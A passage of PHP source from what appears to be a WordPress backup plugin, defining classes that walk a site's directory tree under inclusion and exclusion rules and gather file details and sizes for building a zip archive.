self::ALL_XCLUSIONS ) { $result = false; // Currently only handle single path and not array of paths if ( is_string( $path ) ) { switch( $type ) { case self::DIR_XCLUSIONS: $candidates = &$this->_dirs; break; case self::FILE_XCLUSIONS: $candidates = &$this->_files; break; case self::ALL_XCLUSIONS: default: $candidates = &$this->_all; } $result = in_array( $path, $candidates ); } return $result; } /** * matches_regex() * * Does the path match any member of the pattern set * Patterns must already be delimited * * @param string $path The path to test for match to the pattern set members * @return bool True if matches any in pattern set, otherwise False * */ public function matches_regex( $path = '' ) { $result = false; // Currently only handle single path and not array of paths if ( is_string( $path ) ) { foreach ( $this->_patterns as $pattern ) { if ( 1 === preg_match( $pattern, $path ) ) { $result = true; break; } } } return $result; } /** * prefix_of() * * Is any member of the set a prefix of the path * * @param string $path The path to test the set members to be prefix of * @param string $type The set members to test against * @param bool $exclusive True if member in set not allowed to be exact match to path * @return bool True if prefixed by any in set, otherwise False * */ public function prefix_of( $path, $type = self::ALL_XCLUSIONS, $exclusive = true ) { switch( $type ) { case self::DIR_XCLUSIONS: $candidates = &$this->_dirs; break; case self::FILE_XCLUSIONS: $candidates = &$this->_files; break; case self::ALL_XCLUSIONS: default: $candidates = &$this->_all; } foreach ( $candidates as $candidate ) { // The candidate _must_ be found at the start of the path (to be a true prefix of the path) if ( 0 === strpos( $path, $candidate ) ) { // If not wanting exclusivity then can simply return here if ( false == $exclusive ) { return true; } // Otherwise we must check for exclusivity if ( 0 <> strcmp( $path, $candidate ) ) { return true; } } } return false; } /** * prefixed_by() * * Is any member of the set prefixed by the path * * @param string $path The possible prefix path * @param string $type The set members to test against * @param bool $exclusive True if prefix not allowed to be exact match to member in set * @return bool True if prefix of any in set, otherwise False * */ public function prefixed_by( $path, $type = self::ALL_XCLUSIONS, $exclusive = true ) { switch( $type ) { case self::DIR_XCLUSIONS: $candidates = &$this->_dirs; break; case self::FILE_XCLUSIONS: $candidates = &$this->_files; break; case self::ALL_XCLUSIONS: default: $candidates = &$this->_all; } foreach ( $candidates as $candidate ) { // The path _must_ be found at the start of the candidate (to be a true prefix of the candidate) if ( 0 === strpos( $candidate, $path ) ) { // If not wanting exclusivity then can simply return here if ( false == $exclusive ) { return true; } // Otherwise we must check for exclusivity if ( 0 <> strcmp( $candidate, $path ) ) { return true; } } } return false; } } /** * pluginbuddy_zbdir_exclusion Class * * Class for specifically handling file/directory exclusions * * @return null * */ class pluginbuddy_zbdir_exclusion extends pluginbuddy_zbdir_xclusion { } /** * pluginbuddy_zbdir_inclusion Class * * Class for specifically handling file/directory inclusions * * @return null * */ class pluginbuddy_zbdir_inclusion extends pluginbuddy_zbdir_xclusion { } /** * pluginbuddy_zbdir_node Class * * Class for building file tree node * * The file tree node is intended to be part of a structure that represents the * directories (and files) that are included in a tree built out of a root directory * and taking into account defined file/directory inclusions/exclusions. So dependent * on these definitions it could represent a complete tree with all directories and * files (where no exclusions are defined) or an empty tree where no directories or * files are included (where everything is defined to be excluded). Of course normally * it would be somewhere between these two extremes. * * The tree can be built as a persistent structure - where the $keep parameter is defined * as true - in which case nodes will not be destroyed once visited and the nodes can * be visited again without having the do all the hard work of building the tree again. * If, on the other hand, $keep is defined as false then after a node is visited it * will be destroyed - which means the tree is treversed ina depth-first manner and the * number of nodes in existence at any one time is purely that number required to * represent the depth of the current path. The intention of this is of course to * minimize memory usage. This means though that the tree can only be visited once * and if any subsequent visit is required then it must be built again (either in keep * mode or not, dependent on the requirement). So fot multiple visits this is more * processot intensive - so it's really a balance of requirements vs resources. * * Visiing a tree means that we visit each node (in a depth first manner) and methods * on a provided output handler are called by the node for each file/directory by * which the specific output handler can build up some information about the tree. * For example, a common requirement will be to build up a list of all files/directories * to be included in a backup, perhaps togetehr with a total count of the number of items * as well as number of files and directories and a total size of all the files. This would * then be used as input data for the actual zip file build or it could be used to show * the suer exactly what was going in to the backup, etc. The list format requirements * may be different for different zip methods, e.g., for pclzip we can only give it * directories that are actually empty to be included (as an empty directory) because it * itself will recurse down into directory content and we don't want it to do that - so * we cannot give it a directory in the list that is "empty" simply because it's content * has been excluded. For command line zip this doesn't matter as by default it doesn't * automatically recurse down and we will not tell it to - so we could give it any "empty" * directory in the list without harm. An output handler may creaet internal data structures * such as the file list being an array, but it may also create a list as a file which * would be less memory intensive for resource constrained servers. A file representation * is also better for command line zip as we can simply pass it the file name as parameter. * Future capabilities might allow exclusions based on criteria such as file size - so * exclude all files >X MB so as to avoid including other large backup files for example. * * The root path represents the root of where we are building the tree from. The path * is the path to this node relative to the root. So for a root of /home/user/site/ and * a path of /wp-content/plugins the actual node would represent /home/user/site/wp-content/plugins. * The root and path are combined for the purposes of finding if an item is a file or * a directory _but_ the exclusion/inclusion handling (including pattern based) is * based on the path only. This avoids having the do matching against long path strings * where the prefix is always the root anyway. * * If symlinks are being ignored (not followed) then even if we come across a directory * that should be included in the backup we will only include it as such and not descend * into it. The actual zip method will determine how to handle that item as a symlink so * we do not completely ignore them. * * The $in_exclusion_zone parameter is important as it tells this node whether or not it * is in an exclusion zone, i.e., between a directory exclusion and a more specific * directory inclusion. In that case we are just traversing through the directory and * other content that is not on the path to the inclusion should be ignored (unless the * specific subject of an inclusion - so a specific file _could_ be included from * within an exclusion zone. * * The $depth parameter is really just a way of monitoring where we are an dhow deep * we are going. It has a special use at the root node which is to allow the node to * handle a specific exclusion zone case where the root node is immediately in an * exclusion zone. In theory the user of the root node could determine and set this * but it is safer to have the root node do it. The dpeth monitoring will also enable * us to consider bailing out if it appears we are disappearing down a black-hole * because of some bad looping symlink setup or whatever. * * The $mode parameter is used to define how we respond to exclusions/inclusions. In * a standard mode all excluded items are ignored totally. In a complete mode all * items are recorded. In both cases the item 'status' will indicate whether the item * is an excluded or included item and also a 'reason' may be recorded as to why the * item is excluded or included. The reason may be present in a debug mode that would * record, for example, the rule that was triggered and perhaps the specific matches * that led to the exclusion or inclusion (FFS) * * @return null * */ class pluginbuddy_zbdir_node { const NORM_DIRECTORY_SEPARATOR = '/'; const STANDARD_MODE = 'standard'; const COMPLETE_MODE = 'complete'; const INCLUDE_ACTION = 'include'; const EXCLUDE_ACTION = 'exclude'; const NO_ACTION = 'none'; const STATUS_INCLUDED = 'included'; const STATUS_EXCLUDED = 'excluded'; const STATUS_UNKNOWN = 'unknown'; protected $_items = array(); protected $_root = ''; protected $_path = ''; protected $_exclusions_handler = null; protected $_inclusions_handler = null; protected $_visitor = null; protected $_ignore_symlinks = true; protected $_in_exclusion_zone = false; protected $_keep = false; protected $_depth = 0; protected $_mode = self::STANDARD_MODE; // For storing data abount items in the directory represented by the node protected $_terminals = array(); protected $_symdirs = array(); protected $_children = array(); // This is for storing data about this directory node protected $_self = array(); // Directory content size protected $_csize = 0; // Directory total size is sum of the content size and total size of each child protected $_tsize = 0; // Indicates whether or not node has been visited to trigger one-time operations protected $_visited = false; // Indicates whether or not the directory is truly empty from the outset protected $_vacant = false; // Indicates the exclusion/inclusion status of _this_ directory protected $_status = self::STATUS_UNKNOWN; // Indicates whether _this_ directory would be empty (no content included) // even if building a complete tree where we record both excluded and included stuff protected $_empty = true; /** * __construct() * * Construct the node object * * Constructs a tree node wheer $root is tha root of the tree and $path is the * specific path of this node. * 1) root may be empty if using absolute paths for build and xclusions * 2) root may be / if working in a "caged" filesystem * 3) root may be //share/ if this is a windows share * 4) root may be <drive>:/ if windows * As the path is generally relative to the root it makes handling exclusions and * inclusions easier/faster because shorter than the absolute paths would be. * * Both the root and the path must be normalized to *nix style deparators. * * Will throw exception if a directory cannot be scanned. * * @param string $root Directory path of the root of the tree * @param string $path Directory path relative to the root * @param object $exclusion_handler * @param object $inclusion_handler * @param object $visitor * @param bool $ignore_symlinks * @param bool $keep * @param mixed $mode * @param bool $in_exclusion_zone * @param int $depth * @return none * */ public function __construct( $root = '', $path = '', $exclusions_handler = null, $inclusions_handler = null, $visitor = null, $ignore_symlinks = true, $keep = false, $mode = self::STANDARD_MODE, $in_exclusion_zone = false, $depth = 0 ) { // Do not change root even if it is just / because *nix can hanle // multiple / as path separators, e.g., /home/jeremy and //home/jeremy // and //home//jeremy and //home///jeremy are all equivalent // The caller must give us a root path that is / terminated $this->_root = trim( $root ); // If path is / will not be changed // Path will have / suffix added even if it is empty // Note: this is the _internal_ representation of the path - // when combined with the root and when passed out it will // have the prefix / removed (even if te path is just /) // so that in combined case we don;t get // and in external // view the path is definitelly a relative path (to a root) // as it doesn't start with / $this->_path = ( self::NORM_DIRECTORY_SEPARATOR === ( $this->_path = trim( $path ) ) ) ? $this->_path : rtrim( $this->_path, self::NORM_DIRECTORY_SEPARATOR) . self::NORM_DIRECTORY_SEPARATOR ; // check if exclusions handler not object and throw exception // we must have an exclusions handler $this->_exclusions_handler = $exclusions_handler; // check if inclusions handler not object and throw exception // we must have an inclusions handler $this->_inclusions_handler = $inclusions_handler; // check if output handler not object and throw exception // we must have an output handler even if noop $this->_visitor = $visitor; // Global indication of whether or not we are ignoring/not-following // symlinks. If that is the case then although we note a directory // we will not descend into it. For a file we always note it anyway. $this->_ignore_symlinks = $ignore_symlinks; // We can choose to not keep child nodes as they are visited, so in // other words just traverse the structure and clean it up as we go. // This can use less memory but if we want to visit multiple times // it is less time efficient because we have to build/destroy the // nodes every time. $this->_keep = $keep; // Record what mode we are operating in $this->_mode = $mode; // The parent is telling us that this node (directory) is in an // exclusion zone - the parent or a previous ancestor matched it // or a previous directory on this path as a specific exclusion // _but_ also as a prefix of a more specific inclusion and so the // path is being followed until that inclusion is reached. If this // node recognizes that more specific inclusion to be one of it's // children then it will signal to _that_ child that it is _not_ // in an exclusion zone. // Whilst in an exclusion zone no directory that is not on the // path to a more specific inclusion will be remembered and only // files that match a specific inclusion will be noted. // We have to check whether our path is a specific exclusion for // the special case that this is the initial node _and_ the // initial node path is a specific exclusion (otherwise we would // require the caller to tell us this which wouldn't be great). // Also this depends on our path _not_ also being a specific inclusion // in which case this would override it being a specific exclusion. // We'll use the node depth to decide whether we make this test or // not - if it isn't the initial node then we just relt in whetever // our parent node has told us. $this->_in_exclusion_zone = $in_exclusion_zone; if ( 0 === $depth ) { // This is the initial node so we have to handle a special case // for the exclusion zone handling that the path is a match // to a specific exclusion and _not_ a match to a specifc inclusion. // This is becase the user could be excluding the initial directory // itself and if we didn't check this we would require the user // to tell us this which would be error prone. Note that if the // definitions also had the path being a specific inclusion then // this overrides the specific exclusion. // Note we probably just use the result of the match test since // this will be false unless the very specific condition applies // but for now we'll rely on the caller setting the initial // exclusion zone value to false if they don't know and then we can // override it if it should be true. The caller could mess things // up by setting it true incorrectly but then this would be a // programming error... $this->_in_exclusion_zone = ( $this->_in_exclusion_zone || ( ( true === $this->_exclusions_handler->matches( $this->_path ) && ( false === $this->_inclusions_handler->matches( $this->_path ) ) ) ) ); } // Keep track of our descent depth in case we later want to introduce // a limit in case of handling some error condition (e.g., loop) // Initial node is depth 0, incremented when passed to a child node $this->_depth = $depth; // Record our exclusion/inclusion status dependent on our exclusion zone status $this->_status = ( true === $this->_in_exclusion_zone ) ? self::STATUS_EXCLUDED : self::STATUS_INCLUDED ; // This is just to record when the node has been visited so that // on subsequent visits we do not repeat unnecessary work. $this->_visited = false; // check if we can scan directory and throw exception if failure if ( false === ( $this->_items = @scandir( $this->_root . ltrim( $this->_path, self::NORM_DIRECTORY_SEPARATOR ) ) ) ) { throw new Exception( 'Unable to scan directory ' . $this->_root . ltrim( $this->_path, self::NORM_DIRECTORY_SEPARATOR ) ); } // First remove pesky entries if present $this->_items = array_diff( $this->_items, array( '..', '.' ) ); // We must determine whether the directory is truly empty (scandir only returns . and ..) // or nothing at all for Windows(?) rather than later just empty because all it's // content has been excluded - there is a subtle difference $this->_vacant = empty( $this->_items ); // Exclude some further known fluff that would count as content even if excluded // and so the directory could not be regarded as truly empty (vacant) $this->_items = array_diff( $this->_items, array( '.DS_Store' ) ); // Now handle each item as per exclusions/inclusions // TODO: Have a mode whereby the user can decide that the tree should represent // the _complete_ tree with exclusions and inclusions. So instead of when an // exclusion match is made or implied we just ignore the item we do actually // record it as appropriate. For every item we alos incude a 'status' value that // indicates (currently) "excluded' or 'included' and then may have a 'reason' or // similar (perhaps 'rule') that can indicate why the file was excluded or included. // This might be "specific", "pattern', "implied", etc. or we could go to the // extreme and include what it matched to if we have some debug or "explain" // option when creating a list for a user to look at. This mode would allow us // to create the kind of Site Size Map sort of display. So we need an extra // option passed in to say if we want to do a complete tree analysis or not // and then for each rule we define whether to add to the terminals/symdirs/ // children or not and in the not case we may still do it if we are doing a // complete tree analysis. So we might have each rule define the array of // key=>value pairs to add and then we choose to add or not - basically need // to work out the most efficient way. foreach ( $this->_items as $item ) { $action = self::NO_ACTION; $attributes = array(); ( @is_link( $this->_root . ltrim( $this->_path, self::NORM_DIRECTORY_SEPARATOR ) . $item ) ) ? $is_link = true : $is_link = false; if ( @is_file( $this->_root . ltrim( $this->_path, self::NORM_DIRECTORY_SEPARATOR ) . $item ) ) { // Setup the default attributes that apply to all files // Note: regardless of whatever rule may match, whether the file is // in an exclusion zone or not is always determined by the state of // _this_ directory $attributes = array( 'directory' => false, 'symlink' => $is_link, 'ignore' => $this->_ignore_symlinks, 'ezone' => $this->_in_exclusion_zone ); // Rules: // 1) File matches specific inclusion - include file // 1a) File matches a specific pattern inclusion - include file // 2) File matches specific exclusion - exclude file // 2a) File matches a specific pattern exclusion - exclude file // 3) File path matches specific inclusion - include file // 3a) File path matches a specific pattern inclusion - include file // 4) File path matches specific exclusion - exclude file // 4a) File path matches a specific pattern exclusion - exclude file // 5) File path in exclusion zone - exclude file // 6) Default rule - include file if ( true === $this->_inclusions_handler->matches( $this->_path . $item ) ) { $action = self::INCLUDE_ACTION; } elseif ( true === $this->_inclusions_handler->matches_regex( $this->_path . $item ) ) { $action = self::INCLUDE_ACTION; } elseif ( true === $this->_exclusions_handler->matches( $this->_path . $item ) ) { $action = self::EXCLUDE_ACTION; } elseif ( true === $this->_exclusions_handler->matches_regex( $this->_path . $item ) ) { $action = self::EXCLUDE_ACTION; } elseif ( true === $this->_inclusions_handler->matches( $this->_path ) ) { $action = self::INCLUDE_ACTION; } elseif ( true === $this->_inclusions_handler->matches_regex( $this->_path ) ) { $action = self::INCLUDE_ACTION; } elseif ( true === $this->_exclusions_handler->matches( $this->_path ) ) { $action = self::EXCLUDE_ACTION; } elseif ( true === $this->_exclusions_handler->matches_regex( $this->_path ) ) { $action = self::EXCLUDE_ACTION; } elseif ( true === $this->_in_exclusion_zone ) { $action = self::EXCLUDE_ACTION; } else { $action = self::INCLUDE_ACTION; } // We will record the file if included or regardless if building a complete tree // otherwise just do nothing if the file is being excluded. // If we are recording an item we update empty based on whether it's being recorded // for a true include or an exclude on a complete tree build. Only if every recording // on a complete tree build is for an excluded item will empty remain true if ( ( self::INCLUDE_ACTION === $action ) || ( self::COMPLETE_MODE === $this->_mode ) ) { $this->_empty = ( $this->_empty && ( self::EXCLUDE_ACTION === $action ) ); $attributes[ 'status' ] = ( self::INCLUDE_ACTION === $action ) ? self::STATUS_INCLUDED : self::STATUS_EXCLUDED ; $this->_terminals[ $this->_path . $item ] = self::stat( $this->_root, $this->_path, $item, $attributes ); } } elseif ( @is_dir( $this->_root . ltrim( $this->_path, self::NORM_DIRECTORY_SEPARATOR ) . $item ) ) { // Setup the default attributes that apply to all directories $attributes = array( 'directory' => true, 'size' => (int)0, 'symlink' => $is_link, 'ignore' => $this->_ignore_symlinks, 'depth' => ( $this->_depth + 1 ) ); // Rules: // 1) Directory matches specific inclusion - follow/record directory and exit // exclusion zone (tell child _it_ isn't in exclusion zone) // 1a) Directory matches a specific pattern inclusion - follow/record directory and exit // exclusion zone (tell child _it_ isn't in exclusion zone) // 2) Directory matches a specific exclusion _and_ is in the path to a more // specific inclusion - follow/record directory and enter exclusion zone // (tell child it is in an exclusion zone) // 2a) Directory matches a specific exclusion pattern _and_ is in the path to a more // specific inclusion - follow/record directory and enter exclusion zone // (tell child it is in an exclusion zone) // 3) Directory is in the path to a specific inclusion - follow/record directory // and just pass on to child whether parent told us we were in an // exclusion zone because we may or may not be // 4) The directory matches a specific exclusion - do not follow/record // 4a) The directory matches a specific exclusion pattern - do not follow/record // 5) _This_ directory is in an exclusion zone - do not follow/record directory // 6) Default rule - follow/record directory if ( true === $this->_inclusions_handler->matches( $this->_path . $item . '/' ) ) { // Rule 1 $action = self::INCLUDE_ACTION; $attributes[ 'ezone' ] = false; } elseif ( true === $this->_inclusions_handler->matches_regex( $this->_path . $item . '/' ) ) { // Rule 1a $action = self::INCLUDE_ACTION; $attributes[ 'ezone' ] = false; } elseif ( ( true === $this->_exclusions_handler->matches( $this->_path . $item . '/' ) ) && ( true === $this->_inclusions_handler->prefixed_by( $this->_path . $item . '/' ) ) ) { // Rule 2 $action = self::INCLUDE_ACTION; $attributes[ 'ezone' ] = true; } elseif ( ( true === $this->_exclusions_handler->matches_regex( $this->_path . $item . '/' ) ) && ( true === $this->_inclusions_handler->prefixed_by( $this->_path . $item . '/' ) ) ) { // Rule 2a $action = self::INCLUDE_ACTION; $attributes[ 'ezone' ] = true; } elseif ( true === $this->_inclusions_handler->prefixed_by( $this->_path . $item . '/' ) ) { // Rule 3 $action = self::INCLUDE_ACTION; $attributes[ 'ezone' ] = $this->_in_exclusion_zone; } elseif ( true === $this->_exclusions_handler->matches( $this->_path . $item . '/' ) ) { // Rule 4 $action = self::EXCLUDE_ACTION; $attributes[ 'ezone' ] = true; } elseif ( true === $this->_exclusions_handler->matches_regex( $this->_path . $item . '/' ) ) { // Rule 4a $action = self::EXCLUDE_ACTION; $attributes[ 'ezone' ] = true; } elseif ( true === $this->_in_exclusion_zone ) { // Rule 5 $action = self::EXCLUDE_ACTION; $attributes[ 'ezone' ] = true; } else { // Rule 6 $action = self::INCLUDE_ACTION; $attributes[ 'ezone' ] = $this->_in_exclusion_zone; } // We will record the directory if included or regardless if building a complete tree // otherwise just do nothing if the file is being excluded if ( ( self::INCLUDE_ACTION === $action ) || ( self::COMPLETE_MODE === $this->_mode ) ) { $this->_empty = ( $this->_empty && ( self::EXCLUDE_ACTION === $action ) ); $attributes[ 'status' ] = ( self::INCLUDE_ACTION === $action ) ? self::STATUS_INCLUDED : self::STATUS_EXCLUDED ; if ( ( true === $is_link ) && ( true === $this->_ignore_symlinks ) ) { $this->_symdirs[ $this->_path . $item ] = self::stat( $this->_root, $this->_path, $item, $attributes ); } else { $this->_children[ $this->_path . $item ] = self::stat( $this->_root, $this->_path, $item, $attributes ); } } } } // Set things up so now visit - this will recurse down the tree // if required and the child nodes will be kept or destroyed dependent // on the option. The keep=false option gives us a way to traverse a // directory tree with minimum resources as we destroy nodes after // they have been visited so the maximum number of nodes active at // any time is determined by the deepest path descent we haev to make. // In this case we cannot revisit the tree for different purposes // without redoing all the work. By contrast with keep=true we keep // all nodes and so keep the whole tree active so we can visit it // for different purposes without having to do all the work again, the // visit just uses what data we have already defined and stored. This // is obviously more resource intensive on memory but makes multiple // visits less cpu intensive. self::visit(); } /** * __destruct() * * Desroy the object - all object storage will be recoverd by default * * Simply destroy any child nodes (which will recurse down) * Everything else handled by the unset() of _this_ object * and the various handler objects are owned by the original * creator of the top level node and are used by all nodes so * we don't do anything to them. * * @param none * @return none * */ public function __destruct() { foreach ( $this->_children as &$child ) { if ( isset( $child[ 'child' ]) && ( is_object( $child[ 'child' ] ) ) ) { unset( $child[ 'child' ] ); } } } /** * stat() * * Return an array of information about the particular item * * Return an array of information about the item * $extra is an array of key=>value pairs to merge in as additional/override * Note: for "absolute_path" key item we need to "fake" the $item value when * path is / otherwise we get the parent-of-the-parent from dirname() * Note: $path will have / prefix _and_ suffix and $root will have a / suffix * so we strip the prefix off the $path when concatenating them * * @param string $root * @param string $path * @param string $item * @param array $extra * @return array * */ public function stat( $root = '', $path = '', $item = '', $extra = array() ) { $stat = array(); $stat[ 'filename' ] = basename( $path . $item ); $stat[ 'name' ] = ( $path . $item ); // Relative path has no / prefix and has / suffix added _unless_ dirname() is only / $stat[ 'relative_path' ] = ltrim( dirname( $path . $item ), self::NORM_DIRECTORY_SEPARATOR ) . ( ( self::NORM_DIRECTORY_SEPARATOR === dirname( $path . $item ) ) ? '' : self::NORM_DIRECTORY_SEPARATOR ); // Absolute path must be based on /path/item or, if item is empty, and has / suffix added $stat[ 'absolute_path' ] = dirname( $root . ltrim( $path, self::NORM_DIRECTORY_SEPARATOR ) . ( ( ( self::NORM_DIRECTORY_SEPARATOR === $path ) && ( '' === $item ) ) ? '.' : $item ) ) . self::NORM_DIRECTORY_SEPARATOR; // For symlinks we are _not_ following we need to do lstat and not stat if ( ( isset( $extra[ 'symlink' ] ) && $extra[ 'symlink' ] ) && ( isset( $extra[ 'ignore' ] ) && $extra[ 'ignore' ] ) ) { $php_stat = @lstat( $root . ltrim( $path, self::NORM_DIRECTORY_SEPARATOR ) . $item ); } else { $php_stat = @stat( $root . ltrim( $path, self::NORM_DIRECTORY_SEPARATOR ) . $item ); } // Take what we want from the stat details - not much for now if ( is_array( $php_stat )) { $stat[ 'size' ] = $php_stat[ 'size' ]; } // Record if the file is readable/writeable so we may do some preemptive troubleshooting $stat[ 'is_readable' ] = @is_readable( $root . ltrim( $path, self::NORM_DIRECTORY_SEPARATOR ) . $item ); $stat[ 'is_writable' ] = @is_writable( $root . ltrim( $path, self::NORM_DIRECTORY_SEPARATOR ) . $item ); // Add any additional information or any overrides $stat = array_merge( $stat, $extra ); return $stat; } /** * get_tsize() * * Return an total size of all the content of the directory, including * subdirectories. * * @param none * @return int The total size of this directory content including subdirectories * */ public function get_tsize() { return $this->_tsize; } /** * visit() * * The visit funciton that builds information about the node and extends down paths * for any subdirectories thus building the structure further. * * Will call upon the output handler which may be explicitly passed for a subseqeunt * visit or will be the handler provided when the node was constructed. * * Need to record for the directory whether it is truly empty or merely empty * because all files/directories have been excluded. This may need to be known * for some zip methods that can only include a directory as empty if it really * is empty, otherwise the zip method would recurse into it even though we had * excluded all the content. * * @param object $visitor The output handler to call upon * @return none * */ public function visit( $visitor = null ) { // Visit the node based on the terminals, children and symdirs // arrays calling the add method on the handler. // Add this node, all terminals and symdirs and traverse into // each child or if ( null === $visitor ) { $visitor = $this->_visitor; } // Assemble the details for this directory node if ( false === $this->_visited ) { // Directory itself has 0 size $vars = array( 'directory' => true, 'vacant' => $this->_vacant, 'size' => (int)0, 'ezone' => $this->_in_exclusion_zone, 'depth' => $this->_depth, 'status' => $this->_status ); if ( true === $this->_vacant ) { // Directory is really empty, _never_ had any content // based on scandir() output for this directory being empty. // We can set the other vars as well. It's up to the // zip method whether it includes this directory or not // (or rather the generator of the file list for the method). $vars[ 'empty' ] = true; $vars[ 'csize' ] = (double)0; $vars[ 'tsize' ] = (double)0; } elseif ( empty( $this->_terminals ) && empty( $this->_symdirs ) && empty( $this->_children ) ) { // The directory originally had some content but it has all // been excluded. Again set the vars accordingly and it will // be up to the generator of the file list for the backup to // decide whether to include this directory dependent on how // the actual zip method woul dhandle it. $vars[ 'empty' ] = $this->_empty; $vars[ 'csize' ] = (double)0; $vars[ 'tsize' ] = (double)0; } else { // Directory with content needs content size and (initial) total size // Total size may be updated later if there are any children $vars[ 'empty' ] = $this->_empty; foreach ( $this->_terminals as $terminal ) { $this->_csize += (double)$terminal[ 'size' ]; } $vars[ 'csize' ] = (double)$this->_csize; $vars[ 'tsize' ] = (double)$this->_tsize = (double)$this->_csize; } if ( @is_link( $this->_root . ltrim( $this->_path, self::NORM_DIRECTORY_SEPARATOR ) ) ) { $vars[ 'symlink' ] = true; $vars[ 'ignore' ] = $this->_ignore_symlinks; } else { $vars[ 'symlink' ] = false; $vars[ 'ignore' ] = $this->_ignore_symlinks; } $this->_self = self::stat( $this->_root, $this->_path, '', $vars ); } // Now pass the item to the handler to add as appropriate to the handler type $visitor->add( $this->_self ); // Get the key of the item just added so we can modify it later $update_key = $visitor->get_last_key(); // Give output handler each terminal item foreach ( $this->_terminals as $terminal ) { $visitor->add( $terminal ); } // Give output handler each symdir (these are directories we are _not_ // following, not by virtue of being excluded as such but because we are // not following symlinks at all). So the recorded details for the symdir // element must mimic those of a directory as far as possible. One big // difference is that for a non followed symdir we cannot know whether // it is vacant nor empty and so in fact neither of those attributes // are set - this allows the user of the visitor data to determine the // condition of a directory being a non-followed symlink by virtue of // either or both of these attributes not being set. This can also // be determined by checking symlink and ignore attributes that will // be set. As an alternative we _could_ change vacant and empty to // be enumerated rather than boolean and we could give them a value // such as "unknown" in these cases but that starts to get messy as // it's nice to be able to do simple boolean tests on these attributes // where possible and since the condition can be determined by the available // attributes that seems to be the best solution at present. foreach ( $this->_symdirs as $symdir ) { $visitor->add( $symdir ); } // If we are visiting then what we do depends on whether this is a // kept file tree or not. If it is previously created and kept then // we should have an array of child nodes that we can visit. If this // is the first "visit" on creation then if it is keep then we create // and visit and keep the nodes otherwise we simply create and visit // and then destroy each node foreach ( $this->_children as &$child ) { if ( false === $this->_visited ) { // This is our first visit so we need to create the child object // If we are keeping the tree then we'll save the object reference // otherwise we'll destroy the child. $child[ 'child' ] = new pluginbuddy_zbdir_node( $this->_root, $child[ 'name' ], $this->_exclusions_handler, $this->_inclusions_handler, $this->_visitor, $this->_ignore_symlinks, $this->_keep, $this->_mode, $child[ 'ezone' ], $child[ 'depth' ] ); // Increment the total size for this directory node by the total size of the child $this->_tsize += (double)$child[ 'child' ]->get_tsize(); if ( false === $this->_keep ) { unset( $child[ 'child' ] ); } } else { // We have already been visited so this must be a kept tree so just // do a direct visit to the children // Could throw an exception if don't have a child object if ( isset( $child[ 'child' ]) && ( is_object( $child[ 'child' ] ) ) ) { $child[ 'child' ]->visit( $visitor ); } } } // Now we have to do some updating on first visit to patch values we // didn't know before - use the item key we saved earlier if ( false === $this->_visited ) { $this->_self[ 'tsize' ] = (double)$this->_tsize; $visitor->update( $update_key, array( 'tsize' => (double)$this->_tsize ) ); } // Remember that we have been visited so that any subsequent visit // will just use what has already been set up $this->_visited = true; // The caller may need to know the actual visitor used if called with null return $visitor; } } class pluginbuddy_zbdir_null_object { public function __construct() { } public function __destruct() { } public function __call( $method, $arguments ) { } } // Currently just a wrapper for pb_backupbuddy::status() // TODO: Would prefer to have a generic logger and this would // extend it if required (we may not even need this dependent // on how logging evolves) class pluginbuddy_zbdir_logger { protected $_prefix = ''; protected $_suffix = ''; public function __construct( $prefix = "", $suffix = "" ) { if ( !empty( $prefix ) ) { $this->set_prefix( $prefix ); } if ( !empty( $suffix ) ) { $this->set_suffix( $suffix ); } } public function __destruct() { } public function set_prefix( $prefix = "" ) { $this->_prefix = $prefix; return $this; } public function get_prefix() { return $this->_prefix; } public function set_suffix( $suffix = "" ) { $this->_suffix = $suffix; return $this; } public function get_suffix() { return $this->_suffix; } public function log( $level, $message, $prefix = null, $suffix = null ) { $prefix_to_use = ( is_null( $prefix ) ) ? $this->_prefix : ( ( is_string( $prefix ) ) ? $prefix : "" ) ; $suffix_to_use = ( is_null( $suffix ) ) ? $this->_suffix : ( ( is_string( $suffix ) ) ? $suffix : "" ) ; pb_backupbuddy::status( $level, $prefix_to_use . $message . $suffix_to_use ); return $this; } } // Basic class definition that satisfies node requirements class pluginbuddy_zbdir_visitor { protected $_logger = null; protected $_process_monitor = null; public function __construct() { } public function __destruct() { } public function add( $item = array() ) { } public function get_last_key() { return 0; } public function update( $key, $updates = array() ) { } public function finalize() { } public function set_logger( $logger ) { $this->_logger = $logger; return $this; } public function get_logger() { if ( is_null( $this->_logger ) ) { $logger = new pluginbuddy_zbdir_null_object(); $this->set_logger( $logger ); } return $this->_logger; } public function set_process_monitor( $process_monitor ) { $this->_process_monitor = $process_monitor; return $this; } public function get_process_monitor() { // If no process monitor has been defined then create a // null object to use. if ( is_null( $this->_process_monitor ) ) { $pm = new pluginbuddy_zbdir_null_object(); $this->set_process_monitor( $pm ); } return $this->_process_monitor; } } // This class can be used to visit the the tree and builds a flat array // of the tree contents with all the details for every file and directory // that are defined to be in the tree. It can be used to get details about // the tree such as the number of files and directories, the total size of // all included files, listing of contents in various forms, etc. It is // not specific to building a list of backup contents for any particular // zip method but can be used to derive such a list. Alternatively a // method specific visitor could be defined by the method that would target // just that required to produce the list for that method in whatever // format was required. class pluginbuddy_zbdir_visitor_details extends pluginbuddy_zbdir_visitor { // This array will hold the details for each item in the tree protected $_items = array(); // This array will hold keys of the fields that the vistor wants when // an item is added, e.g., just file name or maybe naem and size, etc. protected $_wanted_keys = array(); // This bool tells us whether we want all fields or only those as // defined by the $_wanted_keys array protected $_want_all = true; public function __construct( $wanted_keys = array() ) { // Setup the array of wanted keys - we're assuming that we'll only want // a subset in general so always do this rather than bother to test if // wanted_keys is empty as there is little overhead in the foreach loop // if it is foreach ( $wanted_keys as $key ) { $this->_wanted_keys[ $key ] = true; } $this->_want_all = ( empty( $this->_wanted_keys ) ) ? true : false ; parent::__construct(); } public function __destruct() { parent::__destruct(); } public function add( $item = array() ) { if ( true === $this->_want_all ) { // Add the item - note that just numeric keys for now, not using // any item value for key $this->_items[] = $item; } else { // We need to only take the item fields that we want $this->_items[] = array_intersect_key( $item, $this->_wanted_keys ); } if ( 0 === ( ( $count = $this->count() ) % 100 ) ) { // Keep an eye on process progress (if there is a process monitor set) $this->get_process_monitor()->checkpoint(); // Log progress (if there is a logger set) $this->get_logger()->log( 'details', 'Determining list of candidate files + directories to be added to the zip archive: ' . $count ); } } public function get_last_key() { // Tell the caller the array key of the item just added return ( count( $this->_items ) - 1 ); } public function update( $key, $updates = array() ) { // The caller wants to update some details of the item identified by the key if ( isset( $this->_items[ $key ] ) ) { // Create an array for the update based on whether we want all fields or not if ( true === $this->_want_all ) { // We are using all fileds so want to update all $item_update = $updates; } else { // We need to only take the item fields that we want $item_update = array_intersect_key( 